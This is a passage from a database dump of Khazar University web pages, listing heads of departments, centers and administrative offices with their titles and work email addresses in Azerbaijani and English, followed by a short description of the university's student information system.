departmentlər</strong></p><p style=\"font-family:arial, helvetica, sans-serif;font-size:medium\"><strong><br></strong></p><p style=\"font-family:arial, helvetica, sans-serif;font-size:medium\">Azərbaycan dili və ədəbiyyatı – Vurgun Əyyub, Fəlsəfə doktoru, &nbsp;dosent, müdir,&nbsp;<strong>veyyub@khazar.org</strong></p><p style=\"font-family:arial, helvetica, sans-serif;font-size:medium\">Bioloji elmlər – İradə Xəlilova, Fəlsəfə doktoru, müdir, &nbsp;<strong>ikhalilova@khazar.</strong></p><p style=\"font-family:arial, helvetica, sans-serif;font-size:medium\">Kimya - Kərim Eyyubov, Fəlsəfə doktoru, koordinator, keyyubov@khazar.org</p><p style=\"font-family:arial, helvetica, sans-serif;font-size:medium\">İnşaat mühəndisliy – Rasim Bayramlı, Fəlsəfə doktoru, dosent, &nbsp;müdir,&nbsp;<strong>r.bayramli@yandex.ru</strong><strong>&nbsp;</strong></p><p style=\"font-family:arial, helvetica, sans-serif;font-size:medium\">Kompüter elmləri - Javad Mehri,&nbsp;Fəlsəfə doktoru, koordinator,&nbsp;<strong><a href=\"mailto:Jmehri@khazar.org\">Jmehri@khazar.org</a></strong><strong>&nbsp;</strong></p><p style=\"font-family:arial, helvetica, sans-serif;font-size:medium\">Şərq dilləri və dinşünaslıq – Elnurə Əzizova, Fəlsəfə doktoru, müdir,&nbsp;&nbsp;&nbsp;&nbsp;<strong>eazizova@khazar.org</strong></p><p style=\"font-family:arial, helvetica, sans-serif;font-size:medium\">İqtisadiyyat və menecment – Ceyhun Məmmədov, Fəlsəfə doktoru, dosent, koordinator,&nbsp;<strong>Jmammadov@khazar.org</strong><strong>&nbsp;</strong></p><p style=\"font-family:arial, helvetica, sans-serif;font-size:medium\">Təhsil - Vakant</p><p style=\"font-family:arial, helvetica, sans-serif;font-size:medium\">Elektronika , telekommunikasiya və radio mühəndisliyi – Nuru Səfərov,&nbsp; Fəlsəfə doktoru, müdir,&nbsp;<strong>Safarov@khazar.org</strong>&nbsp;</p><p style=\"font-family:arial, helvetica, sans-serif;font-size:medium\">İngilis dili və ədəbiyyatı -&nbsp;<strong>Daniel Paul,&nbsp;&nbsp;</strong>Fəlsəfə doktoru, müdir,&nbsp;<strong>&nbsp;</strong><strong>Dpaul@khazar.org</strong></p><p style=\"font-family:arial, helvetica, sans-serif;font-size:medium\">Coğrafiya və ətraf mühit – Rövşən Abbasov,<strong>&nbsp;&nbsp;</strong>Fəlsəfə doktoru, müdir,&nbsp;<strong>rabbasov@khazar.org</strong></p><p style=\"font-family:arial, helvetica, sans-serif;font-size:medium\">Tarix və arxeologiya – Roza Arazova,&nbsp; Fəlsəfə doktoru, dosent, müdir,&nbsp;&nbsp;<strong>rarazova@khazar.org</strong>&nbsp;&nbsp;</p><p style=\"font-family:arial, helvetica, sans-serif;font-size:medium\">Jurnalistika – Cabir Məmmədli, MS, koordinator,&nbsp;<strong>cmammadli@khazar.org</strong></p><p style=\"font-family:arial, helvetica, sans-serif;font-size:medium\">Hüquq – Cabir Xəlılov, Fəlsəfə doktoru, &nbsp;dosent, müdir,&nbsp;&nbsp;<strong>Cxalilov@khazar.org</strong></p><p style=\"font-family:arial, helvetica, sans-serif;font-size:medium\">Riyaziyyat – Seymur Rzayev, Fəlsəfə doktoru, dosent, &nbsp;müdir,&nbsp; &nbsp;&nbsp;&nbsp;<strong>Srzayev@khazar.org</strong></p><p style=\"font-family:arial, helvetica, sans-serif;font-size:medium\">Müasir dillər və müqayisəli ədəbiyyat – Günel Məmmədova,&nbsp; MS,&nbsp; koordinator,&nbsp;&nbsp;<strong>g.une.l@hotmail.com</strong></p><p style=\"font-family:arial, helvetica, sans-serif;font-size:medium\">Musiqi və incəsənət – Zülfiyyə Sadıxova, MS, koordinator,&nbsp;&nbsp;<strong>zsadigova@khazar.org</strong></p><p style=\"font-family:arial, helvetica, sans-serif;font-size:medium\">Neft mühəndisliyi –Qəşəm Zeynalov, Fəlsəfə doktoru, müdir, &nbsp;<strong>Gzeynalov@khazar.org</strong></p><p style=\"font-family:arial, helvetica, sans-serif;font-size:medium\">Fəlsəfə və sosiologiya – Mail Yaqubov, Fəlsəfə doktoru, müdir, &nbsp;<strong>myagubov@khazar.org</strong></p><p style=\"font-family:arial, helvetica, sans-serif;font-size:medium\">Siyasi elmlər və beynəlxalq münasibətlər – Muxtar Hacızadə, Fəlsəfə doktoru, müdir, &nbsp;<strong>mhajizada@khazar.org</strong></p><p style=\"font-family:arial, helvetica, sans-serif;font-size:medium\">Psixologiya – Üıkər İsayeva, MS, koordinator,&nbsp;<strong>uisayeva@khazar.org</strong></p><p style=\"font-family:arial, helvetica, sans-serif;font-size:medium\">&nbsp;</p><p style=\"font-family:arial, helvetica, sans-serif;font-size:medium\">&nbsp;</p><p style=\"font-family:arial, helvetica, sans-serif;font-size:medium\"><strong>İnstitut və Mərkəzlər</strong></p><p style=\"font-family:arial, helvetica, sans-serif;font-size:medium\"><strong><br></strong></p><p style=\"font-family:arial, helvetica, sans-serif;font-size:medium\">Təhsil siyasəti institutu – Hamlet İsaxanlı, Elmlər doktoru, professor,&nbsp;<strong>hamlet@khazar.org</strong>&nbsp; &nbsp; &nbsp; &nbsp;</p><p style=\"font-family:arial, helvetica, sans-serif;font-size:medium\">Elm və sənət məclisi - Hamlet İsaxanlı, Elmlər doktoru, professor,&nbsp;<strong>hamlet@khazar.org</strong>&nbsp;&nbsp;</p><p style=\"font-family:arial, helvetica, sans-serif;font-size:medium\">Tərcümə araşdırmaları mərkəzi – Camal Mustafayev, Elmlər doktoru, professor, direktor</p><p style=\"font-family:arial, helvetica, sans-serif;font-size:medium\">Avrasiya hasilat sənayesi bilik mərkəzi – İnqlab Əhmədov, Elmlər doktoru, professor, director,&nbsp;<strong>Inglab@khazar.org</strong>&nbsp;&nbsp;</p><p style=\"font-family:arial, helvetica, sans-serif;font-size:medium\">İnstitusional araşdırmalar mərkəzi – Rafiq Əhmədov, Fəlsəfə doktoru, dosent, director,&nbsp;<strong>rahmadov</strong><strong>@khazar.org</strong>&nbsp;&nbsp; &nbsp; &nbsp;</p><p style=\"font-family:arial, helvetica, sans-serif;font-size:medium\">Hüquq tədris mərkəzi – Cabir Xəlilov, Fəlsəfə doktoru, dosent, director,&nbsp;<strong>Cxalilov@khazar.org</strong>&nbsp;&nbsp; &nbsp; &nbsp;</p><p style=\"font-family:arial, helvetica, sans-serif;font-size:medium\">Qafqaz resursları tədqiqat mərkəzi – Ceyhun Məmmədov, Fəlsəfə doktoru, dosent, director,&nbsp;<strong>Jmammadov@khazar.org</strong>&nbsp; &nbsp;&nbsp;</p><p style=\"font-family:arial, helvetica, sans-serif;font-size:medium\">İnkişaf mərkəzi – Raziyə İsayeva, MS, direktor,&nbsp;<strong>Risayeva@khazar.org</strong>&nbsp; &nbsp; &nbsp;&nbsp;</p><p style=\"font-family:arial, helvetica, sans-serif;font-size:medium\">Lüğət və ensiklopediya mərkəzi – Zamirə Vəliyeva, MS, koordinator,&nbsp;<strong>Zveliyeva</strong><strong>@khazar.org</strong></p><p style=\"font-family:arial, helvetica, sans-serif;font-size:medium\">Kitabxana-informasiya mərkəzi – Gulşən Mehdiyeva, MS, direktor,&nbsp;<strong>Gmehdiyeva</strong><strong>@khazar.org</strong>&nbsp;&nbsp;</p><p style=\"font-family:arial, helvetica, sans-serif;font-size:medium\">Media resursları mərkəzi - Natella Barkaya, MS, direktor,&nbsp;<strong>media-center@khazar.org &nbsp; &nbsp; &nbsp;</strong></p><p style=\"font-family:arial, helvetica, sans-serif;font-size:medium\">Psixoloji məsləhət və psixoterapiya mərkəzi – Ülkər İsayeva, MS, direktor,&nbsp;<strong>uisayeva@khazar.org</strong></p><p style=\"font-family:arial, helvetica, sans-serif;font-size:medium\">Keyfiyyətin təminatı mərkəzi - Lyudmila Sotova, MS, direktor,&nbsp;<strong>lsotova</strong><strong>@khazar.org</strong>&nbsp;</p><p style=\"font-family:arial, helvetica, sans-serif;font-size:medium\">Layihələrin idarəolunması mərkəzi – Nərmin Şirinova, MS, layihə meneceri,&nbsp;<strong>spminfo@khazar.org</strong></p><p style=\"font-family:arial, helvetica, sans-serif;font-size:medium\">Peşə mərkəzi – Ülviyyə Hüseynova, direktor,&nbsp;<strong>Uhuseynova</strong><strong>@khazar.org</strong>&nbsp; &nbsp; &nbsp;&nbsp;</p><p style=\"font-family:arial, helvetica, sans-serif;font-size:medium\">İnternet təhsil mərkəzi – Rəşad Əliyev, direktor, MS,&nbsp;<strong>raliyev</strong><strong>@khazar.org</strong>&nbsp;&nbsp; &nbsp; &nbsp;</p><p style=\"font-family:arial, helvetica, sans-serif;font-size:medium\">Miqrasiya araşdırmaları mərkəzi - Rima Məmmədova, MS, koordinator,&nbsp;<strong>rmammadova@khazar.org</strong>&nbsp;&nbsp; &nbsp;</p><p style=\"font-family:arial, helvetica, sans-serif;font-size:medium\">Xəzər TV - Alik Əlioğlu, BS, koordinator,&nbsp;<strong>Aalioglu</strong><strong>@khazar.org</strong>&nbsp;</p><p style=\"font-family:arial, helvetica, sans-serif;font-size:medium\">Radio Xəzər - Alik Əlioğlu, BS, koordinator,&nbsp;<strong>Aalioglu</strong><strong>@khazar.org</strong><strong>&nbsp;</strong></p><p style=\"font-family:arial, helvetica, sans-serif;font-size:medium\">Elektron media mərkəzi (Xəzər TV, Radio Khazar) - Alik Əlioğlu, BS, koordinator,&nbsp;<strong>Aalioglu</strong><strong>@khazar.</strong></p><p style=\"font-family:arial, helvetica, sans-serif;font-size:medium\">&nbsp;</p><p style=\"font-family:arial, helvetica, sans-serif;font-size:medium\"><strong>Inzibati ofislər</strong></p><p style=\"font-family:arial, helvetica, sans-serif;font-size:medium\">&nbsp;</p><p style=\"font-family:arial, helvetica, sans-serif;font-size:medium\">İnsan resursları departamenti – Ülkər Isayeva, MS, direktor,&nbsp;<strong>uisayeva@khazar.org</strong></p><p style=\"font-family:arial, helvetica, sans-serif;font-size:medium\">İctimaiyyətlə əlaqələr və media şöbəsi – Əlövsət Əmirbəyli, MS, direktor,,&nbsp;<strong>aamirbeylı</strong><strong>@khazar.org</strong></p><p style=\"font-family:arial, helvetica, sans-serif;font-size:medium\">Qeydiyyat və informasiya şöbəsi – Ceyhun Isayev, BBA, müdir,&nbsp;<strong>Iceyhun@khazar.org</strong></p><p style=\"font-family:arial, helvetica, sans-serif;font-size:medium\">Tələbə qəbul və məlumat şöbəsi – Lamiyə Namazova, MBA,&nbsp; müdir,&nbsp;<strong>lnamazova@khazar.org</strong></p><p style=\"font-family:arial, helvetica, sans-serif;font-size:medium\">Kadrlar şöbəsi – Aybəniz Namazova, BBA, koordinator,&nbsp;<strong>anamazova@khazar.org</strong></p><p style=\"font-family:arial, helvetica, sans-serif;font-size:medium\">Maliyyə şöbəsi - Naği Bayramlı, MBA, direktor,&nbsp;<strong>nbayramli@khazar.org</strong></p><p style=\"font-family:arial, helvetica, sans-serif;font-size:medium\">Mühasibatlıq &nbsp;- Kərim Kərimov, MS, baş mühasib,&nbsp;<strong>kkerimov@khazar.org</strong></p><p style=\"font-family:arial, helvetica, sans-serif;font-size:medium\">İnzibati şöbə - Faig Məmmədov, MS, koordinator,&nbsp;<strong>fmammadov@khazar.org</strong></p><p style=\"font-family:arial, helvetica, sans-serif;font-size:medium\"><strong>&nbsp;</strong>İnformasiya texnologiyaları şöbəsi – Fərid Musayev, MS, müdir,&nbsp;<strong>fmusayev@khazar.org</strong></p><p style=\"font-family:arial, helvetica, sans-serif;font-size:medium\">Informasiya&nbsp; sistemləri şöbəsi – Rəşad Xəlilov, MS, müdir,&nbsp;<strong>rkhaligov@khazar.org</strong></p><p style=\"font-family:arial, helvetica, sans-serif;font-size:medium\">Satınalma şöbəsi - Agşin Vəliyəv, MS, menecer,&nbsp;<strong>aveliyev@khazar.org</strong></p><p style=\"font-family:arial, helvetica, sans-serif;font-size:medium\">Təmir-tikinti şöbəsi - Şahin Isayev, MS, menecer,&nbsp;<strong>shisayev@khazar.org</strong></p><p style=\"font-family:arial, helvetica, sans-serif;font-size:medium\">Təsərrüfat şöbəsi – Məleykə Hüseynova , MS, menecer,&nbsp;<strong>mhuseynova@khazar.org</strong></p><p style=\"font-family:arial, helvetica, sans-serif;font-size:medium\">Nəşriyyat - Zakir Yusifoglu, MS, direktor,&nbsp;<strong>zyusifoglu@khazar.org</strong></p><p style=\"font-family:arial, helvetica, sans-serif;font-size:medium\">Mətbəə - Rüfət Isayev, MS, direktor,&nbsp;<strong>risayev@khazar.org</strong></p><p style=\"font-family:arial, helvetica, sans-serif;font-size:medium\">Yeməkxana - Alkon Əlizadə, MS, müdir,&nbsp;<strong>aalizada@khazar.org</strong></p><p style=\"font-family:arial, helvetica, sans-serif;font-size:medium\">Tibbi yardım mərkəzi - Leyla Cəmilzadə, MD, baş həkim,&nbsp;<strong>Lcemilzade@khazar.org</strong></p><p style=\"font-family:arial, helvetica, sans-serif;font-size:medium\">Psixoloji məsləhət və psixoterapiya mərkəzi – Ülkər İsayeva, MS, direktor,&nbsp;<strong>uisayeva@khazar.org</strong><strong>&nbsp;</strong></p><p style=\"font-family:arial, helvetica, sans-serif;font-size:medium\">İnkişaf mərkəzi – Raziyə İsayeva, MS, direktor,&nbsp;<strong>Risayeva@khazar.org</strong>&nbsp;<strong>&nbsp;</strong></p><p style=\"font-family:arial, helvetica, sans-serif;font-size:medium\">İnstitusional araşdırmalar mərkəzi – Rafiq Əhmədov, Fəlsəfə doktoru, dosent, director,&nbsp;<strong>rahmadov</strong><strong>@khazar.org</strong>&nbsp;&nbsp;</p><p style=\"font-family:arial, helvetica, sans-serif;font-size:medium\">Media resursları mərkəzi - Natella Barkaya, MS, direktor,&nbsp;<strong>media-center@khazar.org &nbsp;</strong></p><p style=\"font-family:arial, helvetica, sans-serif;font-size:medium\">İnternet təhsil mərkəzi – Rəşad Əliyev, direktor, MS,&nbsp;<strong>raliyev</strong><strong>@khazar.org</strong>&nbsp;&nbsp; &nbsp; &nbsp;</p><p style=\"font-family:arial, helvetica, sans-serif;font-size:medium\">Peşə mərkəzi – Ülviyyə Hüseynova, direktor,&nbsp;<strong>Uhuseynova</strong><strong>@khazar.org</strong>&nbsp;&nbsp; &nbsp; &nbsp;</p><p style=\"font-family:arial, helvetica, sans-serif;font-size:medium\">&nbsp;</p><p style=\"font-family:arial, helvetica, sans-serif;font-size:medium\">Kitabxana-informasiya mərkəzi – Gulşən Mehdiyeva, MS, direktor,&nbsp;<strong>Gmehdiyeva@khazar.org</strong></p>  <br></div>'),(1335,846,'en','Heads of Departments, Institutions, Centers','Heads of Departments, Institutions, Centers','<div><br></div><div><p style=\"font-family:arial, helvetica, sans-serif;font-size:medium\"><strong>Heads of Academic Departments</strong></p><p style=\"font-family:arial, helvetica, sans-serif;font-size:medium\">&nbsp;</p><p style=\"font-family:arial, helvetica, sans-serif;font-size:medium\">Petroleum Engineering - Gasham Zeynalov, PhD, chair,&nbsp;<strong>Gzeynalov@khazar.org</strong></p><p style=\"font-family:arial, helvetica, sans-serif;font-size:medium\">Civil Engineering -&nbsp;<strong>Rasim Bayramli, PhD, Associate Professor, PhD, chair,&nbsp;</strong><strong>r.bayramli@yandex.ru</strong></p><p style=\"font-family:arial, helvetica, sans-serif;font-size:medium\">Electronics, Telecommunications and Radio Engineering - Nuru Safarov, PhD, chair,&nbsp;&nbsp;<strong>Safarov@khazar.org</strong></p><p style=\"font-family:arial, helvetica, sans-serif;font-size:medium\">Mathematics -&nbsp;<strong>Seymur Rzayev PhD – PhD,&nbsp;Associate Professor, chair,</strong><strong>&nbsp;Srzayev@khazar.org</strong></p><p style=\"font-family:arial, helvetica, sans-serif;font-size:medium\">Computer Science<strong>&nbsp;–&nbsp;</strong><strong>Javad Mehri, Ph.D, Associate Professor, coordinator,&nbsp;</strong><strong><a href=\"mailto:Jmehri@khazar.org\">Jmehri@khazar.org</a></strong></p><p style=\"font-family:arial, helvetica, sans-serif;font-size:medium\">Chemistry<strong>&nbsp;-&nbsp;</strong><strong>Karim Eyyubov, PhD, Associate Professor, coordinator,&nbsp;<a href=\"mailto:keyyubov@khazar.org\">keyyubov@khazar.org</a></strong></p><p style=\"font-family:arial, helvetica, sans-serif;font-size:medium\">History and Archaeology - Roza Arazova, PhD, Associate Professor, chair,&nbsp;<strong>rarazova@khazar.org</strong></p><p style=\"font-family:arial, helvetica, sans-serif;font-size:medium\">Azerbaijani Language and Literature –Vurgun Eyyub, PhD,&nbsp;<strong>Associate Professor,</strong>&nbsp;chair,&nbsp;<strong>veyyub@khazar.org</strong></p><p style=\"font-family:arial, helvetica, sans-serif;font-size:medium\">English Language and Literature -&nbsp;<strong>Daniel Paul, PhD, chair,&nbsp;</strong><strong>Dpaul@khazar.org</strong></p><p style=\"font-family:arial, helvetica, sans-serif;font-size:medium\">Music and Fine Arts - Zulfiya Sadigova, MS, coordinator,&nbsp;<strong>zsadigova@khazar.org</strong></p><p style=\"font-family:arial, helvetica, sans-serif;font-size:medium\">Law –Cabir Xalilov, PhD, Associate Professor, chair,&nbsp;<strong>Cxalilov@khazar.org</strong></p><p style=\"font-family:arial, helvetica, sans-serif;font-size:medium\">Eastern Languages and Religious Studies - Elnura Azizova, PhD, chair,&nbsp;<strong>eazizova@khazar.org</strong></p><p style=\"font-family:arial, helvetica, sans-serif;font-size:medium\">Biological Sciences –İrada Khalilova, PhD, chair,&nbsp;<strong>ikhalilova@khazar.</strong></p><p style=\"font-family:arial, helvetica, sans-serif;font-size:medium\">Modern Languages and Comparative Literature –Gunel Mammadova, MS, coordinator,&nbsp;<strong>g.une.l@hotmail.com</strong></p><p style=\"font-family:arial, helvetica, sans-serif;font-size:medium\">Economics and Management - Jeyhun Mammadov, PhD, Associate Professor, coordinator,&nbsp;<strong>Jmammadov</strong><strong>@khazar.org</strong></p><p style=\"font-family:arial, helvetica, sans-serif;font-size:medium\">Political Science and International Relations -&nbsp;<strong>Mukhtar Hajizada</strong><strong>, PhD,</strong>&nbsp;chair,<strong>&nbsp;mhajizada@khazar.org</strong></p><p style=\"font-family:arial, helvetica, sans-serif;font-size:medium\">Philosophy and Sosiology -&nbsp;<strong>Mail Yagubov</strong><strong>,</strong>&nbsp;PhD, chair,&nbsp;<strong>myagubov@khazar.org</strong></p><p style=\"font-family:arial, helvetica, sans-serif;font-size:medium\">Journalism - Jabir Mammadli, MS, coordinator,&nbsp;<strong>cmammadli@khazar.org</strong></p><p style=\"font-family:arial, helvetica, sans-serif;font-size:medium\">Education –Vacancy</p><p style=\"font-family:arial, helvetica, sans-serif;font-size:medium\">Geography and Environment –Rovshan Abbasov, PhD, chair,&nbsp;<strong>rabbasov@khazar.org</strong></p><p style=\"font-family:arial, helvetica, sans-serif;font-size:medium\">Psychology - Ulkar Isayeva, MS, coordinator,&nbsp;<strong>uisayeva@khazar.org</strong></p><p style=\"font-family:arial, helvetica, sans-serif;font-size:medium\">&nbsp;</p><p style=\"font-family:arial, helvetica, sans-serif;font-size:medium\"><strong>Heads of Adminstrative Offices</strong></p><p style=\"font-family:arial, helvetica, sans-serif;font-size:medium\">&nbsp;</p><p style=\"font-family:arial, helvetica, sans-serif;font-size:medium\">Human Resources Department&nbsp; – Ulkar Isayeva, MS, director,&nbsp;<strong>uisayeva@khazar.org</strong></p><p style=\"font-family:arial, helvetica, sans-serif;font-size:medium\">Public Relations and Media Office – Alovsat Amirbeyli, MS, director,&nbsp;<strong>aamirbeyli@khazar.org</strong></p><p style=\"font-family:arial, helvetica, sans-serif;font-size:medium\">Registration and Record Office - Jeyhun Isayev, BBA, head,&nbsp;<strong>Iceyhun@khazar.org</strong></p><p style=\"font-family:arial, helvetica, sans-serif;font-size:medium\">Admission and Information Office - Lamiya Namazova, MBA, &nbsp;head,&nbsp;<strong>lnamazova@khazar.org</strong></p><p style=\"font-family:arial, helvetica, sans-serif;font-size:medium\">Personnel Office - Aybeniz Namazova, BBA, coordinator,&nbsp;<strong>anamazova@khazar.org</strong></p><p style=\"font-family:arial, helvetica, sans-serif;font-size:medium\">Financial Office - Nagi Bayramli, MBA, director,&nbsp;<strong>nbayramli@khazar.org</strong></p><p style=\"font-family:arial, helvetica, sans-serif;font-size:medium\">Accounting Office - Kerim Kerimov, MS, Chief accountant,&nbsp;<strong>kkerimov@khazar.org</strong></p><p style=\"font-family:arial, helvetica, sans-serif;font-size:medium\">Administrative Office - Faig Mammadov, MS, coordinator,&nbsp;<strong>fmammadov@khazar.org</strong></p><p style=\"font-family:arial, helvetica, sans-serif;font-size:medium\">Information Technology Office – Farid Musayev, MS, head,&nbsp;<strong>fmusayev@khazar.org</strong></p><p style=\"font-family:arial, helvetica, sans-serif;font-size:medium\">Information Systems Office – Rashad Khaligov, MS, head,&nbsp;<strong>rkhaligov@khazar.org</strong></p><p style=\"font-family:arial, helvetica, sans-serif;font-size:medium\">Procurement Office – Agshin Veliyev, MS, manager,&nbsp;<strong>aveliyev@khazar.org</strong></p><p style=\"font-family:arial, helvetica, sans-serif;font-size:medium\">Repair and Construction Office &nbsp;- Shahin Isayev, MS, manager,&nbsp;<strong>shisayev@khazar.org</strong></p><p style=\"font-family:arial, helvetica, sans-serif;font-size:medium\">Maintenance Office – Maleyka Huseynova , MS, manager,&nbsp;<strong>mhuseynova@khazar.org</strong></p><p style=\"font-family:arial, helvetica, sans-serif;font-size:medium\">Publishing House - Zakir Yusifoglu, MS, director,&nbsp;<strong>zyusifoglu@khazar.org</strong></p><p style=\"font-family:arial, helvetica, sans-serif;font-size:medium\">Printing House - Rufat Isayev, MS, director,&nbsp;<strong>risayev@khazar.org</strong></p><p style=\"font-family:arial, helvetica, sans-serif;font-size:medium\">Canteen - Alkon Alizada, MS, manager,&nbsp;<strong>aalizada@khazar.org</strong></p><p style=\"font-family:arial, helvetica, sans-serif;font-size:medium\">Health Care Center - Leyla Cemilzade, MD, head physician,&nbsp;<strong>Lcemilzade@khazar.org</strong></p><p style=\"font-family:arial, helvetica, sans-serif;font-size:medium\">Psychological Counseling and Psychotherapy Center&nbsp;– Ulkar Isayeva, MS, director,&nbsp;<strong>uisayeva@khazar.org</strong></p><p style=\"font-family:arial, helvetica, sans-serif;font-size:medium\">Development Center –Raziya Isayeva, MS, director,&nbsp;<strong>Risayeva@khazar.org</strong></p><p style=\"font-family:arial, helvetica, sans-serif;font-size:medium\">İnstitutional Research Center –Rafig Ahmadov, PhD, Associate Professor, director,&nbsp;<strong>rahmadov</strong><strong>@khazar.org</strong>&nbsp;&nbsp; &nbsp; &nbsp;</p><p style=\"font-family:arial, helvetica, sans-serif;font-size:medium\">Media Resource Center&nbsp;–Natella Barkaya, MS, director,&nbsp;<strong>media-center@khazar.org &nbsp;</strong></p><p style=\"font-family:arial, helvetica, sans-serif;font-size:medium\">Internet Education Center –Rashad Aliyev, director, MS,&nbsp;<strong>raliyev</strong><strong>@khazar.org</strong>&nbsp;&nbsp; &nbsp; &nbsp;</p><p style=\"font-family:arial, helvetica, sans-serif;font-size:medium\">Career Center - Ulviyya Huseynova, director,&nbsp;<strong>Uhuseynova</strong><strong>@khazar.org</strong>&nbsp;&nbsp;<strong>&nbsp; &nbsp;</strong></p><p style=\"font-family:arial, helvetica, sans-serif;font-size:medium\">Library and Information Center – Gulshen Mehdiyeva, MS, director,&nbsp;<strong>Gmehdiyeva</strong><strong>@khazar.org</strong>&nbsp;&nbsp;</p><p style=\"font-family:arial, helvetica, sans-serif;font-size:medium\">&nbsp;</p><p style=\"font-family:arial, helvetica, sans-serif;font-size:medium\"><strong>Heads of Institutes and Centers</strong></p><p style=\"font-family:arial, helvetica, sans-serif;font-size:medium\">&nbsp;</p><p style=\"font-family:arial, helvetica, sans-serif;font-size:medium\">Institute of Education Policy- Hamlet Isaxanlı, DS, Professor,</p><p style=\"font-family:arial, helvetica, sans-serif;font-size:medium\">Assembly of Science and Art –Hamlet Isaxanlı, DS, Professor,&nbsp;<strong>hamlet@khazar.org</strong>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;</p><p style=\"font-family:arial, helvetica, sans-serif;font-size:medium\">Khazar Translation Studies Center –Jamal Mustafayev, DS, Professor, director &nbsp; &nbsp;&nbsp;</p><p style=\"font-family:arial, helvetica, sans-serif;font-size:medium\">Eurasia Production Industry Knowledge Center –Inqlab Ahmadov, DS, Professor, director,&nbsp;<strong>Inglab@khazar.org</strong>&nbsp;&nbsp; &nbsp; &nbsp;&nbsp; &nbsp; &nbsp; &nbsp;&nbsp; &nbsp; &nbsp; &nbsp;</p><p style=\"font-family:arial, helvetica, sans-serif;font-size:medium\">Institutional Research Center –Rafig Ahmadov, PhD, Associate Professor, director,&nbsp;<strong>rahmadov</strong><strong>@khazar.org</strong>&nbsp;&nbsp; &nbsp; &nbsp;</p><p style=\"font-family:arial, helvetica, sans-serif;font-size:medium\">Legal Education Center –Jabir Khalilov, PhD, Associate Professor, director,&nbsp;<strong>Cxalilov@khazar.org</strong>&nbsp;&nbsp; &nbsp; &nbsp;</p><p style=\"font-family:arial, helvetica, sans-serif;font-size:medium\">Caucasus Research Resource Center –Jeyhun Mammadov, PhD, Associate Professor, director, &nbsp;<strong>Jmammadov</strong><strong>@khazar.org&nbsp;</strong>&nbsp; &nbsp; &nbsp;</p><p style=\"font-family:arial, helvetica, sans-serif;font-size:medium\">Development Center –Raziya Isayeva, MS, director,&nbsp;<strong>Risayeva@khazar.org</strong>&nbsp;&nbsp; &nbsp; &nbsp;</p><p style=\"font-family:arial, helvetica, sans-serif;font-size:medium\">Dictionary and Encyclopedia Center – Zamira Veliyeva, MS, coordinator,&nbsp;<strong>Zveliyeva</strong><strong>@khazar.org</strong></p><p style=\"font-family:arial, helvetica, sans-serif;font-size:medium\">Library and Information Center – Gulshen Mehdiyeva, MS, director,&nbsp;<strong>Gmehdiyeva</strong><strong>@khazar.org</strong>&nbsp;&nbsp;</p><p style=\"font-family:arial, helvetica, sans-serif;font-size:medium\">Media Resource Center&nbsp;–Natella Barkaya, MS, director,&nbsp;<strong>media-center@khazar.org &nbsp; &nbsp; &nbsp;</strong></p><p style=\"font-family:arial, helvetica, sans-serif;font-size:medium\">Psychological Counseling and Psychotherapy Center&nbsp;– Ulkar Isayeva, MS, director,&nbsp;<strong>uisayeva@khazar.org</strong></p><p style=\"font-family:arial, helvetica, sans-serif;font-size:medium\">Center for Quality Assurance in Education –Lyudmila Sotova, MS, director,&nbsp;<strong>lsotova</strong><strong>@khazar.org</strong></p><p style=\"font-family:arial, helvetica, sans-serif;font-size:medium\">School of Project Management – Narmin Shirinova, MS, project manager,&nbsp;<strong>spminfo@khazar.org</strong></p><p style=\"font-family:arial, helvetica, sans-serif;font-size:medium\">Career Center - Ulviyya Huseynova, director,&nbsp;<strong>Uhuseynova</strong><strong>@khazar.org</strong>&nbsp;&nbsp; &nbsp; &nbsp;</p><p style=\"font-family:arial, helvetica, sans-serif;font-size:medium\">Internet Education Center –Rashad Aliyev, director, MS,&nbsp;<strong>raliyev</strong><strong>@khazar.org</strong>&nbsp;&nbsp; &nbsp; &nbsp;</p><p style=\"font-family:arial, helvetica, sans-serif;font-size:medium\">Migration Competence Center – Rima Mammadova, MS, coordinator,&nbsp;<strong>rmammadova@khazar.org</strong>&nbsp;&nbsp; &nbsp;</p><p style=\"font-family:arial, helvetica, sans-serif;font-size:medium\">Khazar TV – Alik Alioglu, BS, coordinator,&nbsp;<strong>Aalioglu</strong><strong>@khazar.org</strong>&nbsp;&nbsp; &nbsp; &nbsp;</p><p style=\"font-family:arial, helvetica, sans-serif;font-size:medium\">Radio &nbsp;Khazar – Alik Alioglu, BS, coordinator,&nbsp;<strong>Aalioglu</strong><strong>@khazar.org</strong>&nbsp;&nbsp; &nbsp; &nbsp;</p><p style=\"font-family:arial, helvetica, sans-serif;font-size:medium\">Electronic Media Center (Khazar TV, Radio Khazar) - Alik Alioglu, BS, coordinator,&nbsp;<strong>Aalioglu</strong><strong>@khazar.org</strong>&nbsp;&nbsp; &nbsp; &nbsp;</p><p style=\"font-family:arial, helvetica, sans-serif\">&nbsp;</p>  <br></div>'),(1336,847,'az',' Tələbələr',' Tələbələr',''),(1337,847,'en','Students','Students',''),(1338,848,'en','Student Information Management System','Student Information Management System','<div><br></div><div><p style=\"font-family:arial, helvetica, sans-serif;font-size:medium\"><strong>Student Information Management System</strong>&nbsp;(SIMS) is an information management system that consists of three parts - Student Section, Academic Information Section and Student Information Section, that has been developed at Khazar Technopark and used at Khazar University.The advantage of the system is being available in several languages and the ability to extend supported languages.</p><p style=\"font-family:arial, helvetica, sans-serif;font-size:medium\">The systems allows to do the following actions:</p><ul style=\"font-family:arial, helvetica, sans-serif;font-size:medium\"><li>module/course registration;</li><li>insertion of the exam results;</li><li>archiving Graduation and diploma operations disciplinary measures</li><li>populating the surveys (burda eger melumat doldurmaqdisa popluate)</li><li>ama sobet survey formasindan gedirse</li><li>creation of survey forms</li></ul><p style=\"font-family:arial, helvetica, sans-serif;font-size:medium\">For more information please visit the&nbsp;<strong><a href=\"http://sims.khazar.org/campus/\" target=\"_blank\">sims.khazar.org</a></strong>&nbsp;website.</p><p style=\"font-family:arial, helvetica, sans-serif\">&nbsp;</p>  <br></div>'),(1339,848,'az','Tələbə İşləri Üzrə Məlumat Sistemi','Tələbə İşləri Üzrə Məlumat Sistemi','<div><br></div><div><p style=\"font-family:arial, helvetica, sans-serif;font-size:medium\"><strong>Tələbə İşləri Üzrə Məlumat Sistemi</strong></p><p style=\"font-family:arial, helvetica, sans-serif;font-size:medium\">Xəzər Universiteti TexnoParkında təkmilləşdirilən və Xəzər Universitetində istismara verilən sistem qeyd olunan üç hissədən (Tələbə Şöbəsi, Akademik Məlumat Sistemi, Tələbə Məlumat Sistemi) ibarət informatik bir sistemdir. Sistemin üstün 